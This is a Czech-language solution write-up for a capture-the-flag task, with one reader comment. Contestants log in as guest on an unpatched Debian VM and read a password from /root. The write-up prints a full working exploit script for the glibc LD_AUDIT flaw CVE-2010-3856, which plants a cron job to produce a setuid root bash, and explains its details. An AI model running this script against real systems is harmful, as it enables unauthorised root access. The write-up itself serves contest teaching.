Po drátě 6: Řešení úlohy č. 11

Po přihlášení se obdrženým jménem a heslem jste byli přesměrování na sériovou konzoli stroje, který pro vás právě nabootoval:

Loading, please wait...
INIT: version 2.86 booting
Starting the hotplug events dispatcher: udevd.
Synthesizing the initial hotplug events...done.
Waiting for /dev to be fully populated...done.
Setting the system clock.
Activating swap...done.
Checking root file system...fsck 1.41.3 (12-Oct-2008)
/dev/hda1: clean, 9891/51000 files, 198593/203776 blocks
done.
Setting the system clock.
Loading kernel modules...done.
Checking file systems...fsck 1.41.3 (12-Oct-2008)
done.
Setting kernel variables (/etc/sysctl.conf)...done.
Mounting local filesystems...done.
Activating swapfile swap...done.
INIT: Entering runlevel: 2
Starting enhanced syslogd: rsyslogd.
Starting periodic command scheduler: crond.

Po drate Linux Enterprise 6

Guest login allowed.

podrate login: 

Když guest login allowed, tak tedy guest login allowed. Uhodnout heslo uživatele "guest" nedalo moc práce: bylo to "guest".

Na rozdíl od předchozí verze distribuce Po drate Linux Enterprise, zde na vás po přihlášení nevybafl ed, ale normální bash:

Linux podrate 2.6.26-1-686 #1 SMP Sat Jan 10 18:29:31 UTC 2009 i686

Vitejte v systemu Po drate Linux Enterprise 6 Cloud Edition!

Po drate Linux Enterprise 6 je technologicky leader v oblasti bezpecnosti
a manageovatelnosti. Unikatni vlastnosti operacniho systemu Po drate Linux
Enterprise 6 Cloud Edition byly specialne vyvinuty k nasazeni na cloud,
kde system ziskal cetna oceneni pro svuj jedinecny identity management
a vysokou skalovatelnost.

Dalsi informace, ktere by vas mohly zajimat, naleznete v domovskem adresari
uzivatele root.

guest@podrate:~$ 

Aha, takže heslo by mohlo být v /root/. Jak si ho ale přečíst? Práva jsou nastavená tak, že do tohoto adresáře běžný uživatel nemůže. Chtělo by to roota...

Po chvíli zkoumání zjistíme, že slavná distribuce Po drate Linux Enterprise 6 Cloud Edition(TM)(R)(C)(bflm) je jen rebrandovaný Debian. Velmi špatně rebrandovaný Debian. A taky pěkně starý Debian.

Tedy, jinak řečeno, velmi děravý Debian. Téměř řešeto, kdyby vůbec řešeto s takhle velkými otvory ještě mohlo být považováno za cedník. Výčet některých zajímavých otvorů najdete v diskuzi. Autorova oblíbená vrata od garáže jsou CVE-2010-3856. Roztomilé na tomto bugu je to, že pro jeho exploitnutí si vystačíme se shellem a standardně dodávanými knihovnami. Stačí jen pustit tento skript (varování, doma to nezkoušejte, tedy aspoň ne, pokud jste už rok neupdatovali):

#!/bin/sh
umask 0
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping 2> /dev/null
echo '* * * * * root cp /bin/bash /tmp ; chmod u+s /tmp/bash' > /etc/cron.d/exploit
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit2" ping 2> /dev/null
while [ ! -f /tmp/bash ]; do sleep 1; done
/tmp/bash -p

a stali jsme se Ó Velkým Správcem. Nebo, chcete-li, kořenem. V jeho domově (a dost těch překladů, kdo to má číst?) se nachází soubor informace s následujícím obsahem:

Budete-li kontaktovat nektereho z nasich operatoru ci nektereho z nasich
robotu, pouzijte prosim heslo MRAKOPLAS.

Dekujeme, ze pouzivate system Po drate Linux Enterprise, svetovou spicku
v oblasti bezpecnosti.

Vítejte v další úloze.

Zajímavosti

Distribuce byla velmi očesaný Debian Lenny (ještě menší než minimální instalace) bez jakýchkoliv updatů.

Dva hráči se, poučeni loňskem, ozvali, že by rádi zdrojové kódy. S nadšením jsme jim, předem připraveni, odpověděli, od jakéhože GPLv3 programu by zdrojové kódy rádi. Co se týče GPLv2, že mají momentálně smůlu, protože distribuci nedistribuujeme, ale pouze poskytujeme jako službu.

S vědomím, že náš výklad GPLv2 stojí trochu na vodě, jsme očekávali, jestli se někdo z nich ozve, že se mu přesto podařilo některou z binárek stáhnout, a že by tedy ty zdrojové kódy přesto rád viděl. Už nenapsali, takže se krásného odkazu na http://packages.debian.org/lenny/balíček nikdo nedočkal :-)

Z uvedeného vzorového exploitu si zaslouží vysvětlení dvě věci neuvedené na odkazované stránce: proč jsou nutné dva soubory v /etc/cron.d/ a k čemu ten parametr -p předaný bashi.

Co se týče cronu, z důvodu, který jsme blíže nezkoumali, přítomný cron sice zdetekuje vznik nového souboru a zhupne se, ale změnu stávajícího souboru nikoliv. Možná je to kvůli nekorektnímu obsahu pcprofile výstupu, kdo ví. Naštěstí při vzniku nového souboru načítá celou konfiguraci znovu, proto ten druhý soubor.

Co se týče parametru bashi, ten je nutný k tomu, aby suid bash nezahazoval při spuštění rootovská práva. Celé je to pěkně dokumentované v jeho manuálových stránkách.

Autorem úlohy a distribuce je Jirka Benc, telnetovou magii a spouštění virtuálních strojů zařídil Martin Mareš.

Re: Po drátě 6: Řešení úlohy č. 11 Jan Hadrava (25. 1. 2012 - 15:42) Sbalit(1)
> Uhodnout heslo uživatele "guest" nedalo moc práce: bylo to "guest".

Ne, vubec nedalo. 36 hodin... Nejdrive zkoumani telnetu, v jak velkych blocich informace chodi, prihlasovaciho hesla, psani o zdrojaky... Az po 24 hodinach prisla napoveda CVE-2010-3856 a poradne jsem ji prozkoumal. (Tedy vcetne toho, ze nemam nabourat telnet nebo VMware.)

Mam pocit, ze /tmp/ bylo namountovane s nosuid.

A -p jsem nenasel -- ani nehledal, takze jsem listoval a kopiroval soubory z /root primo prikazem z cronu.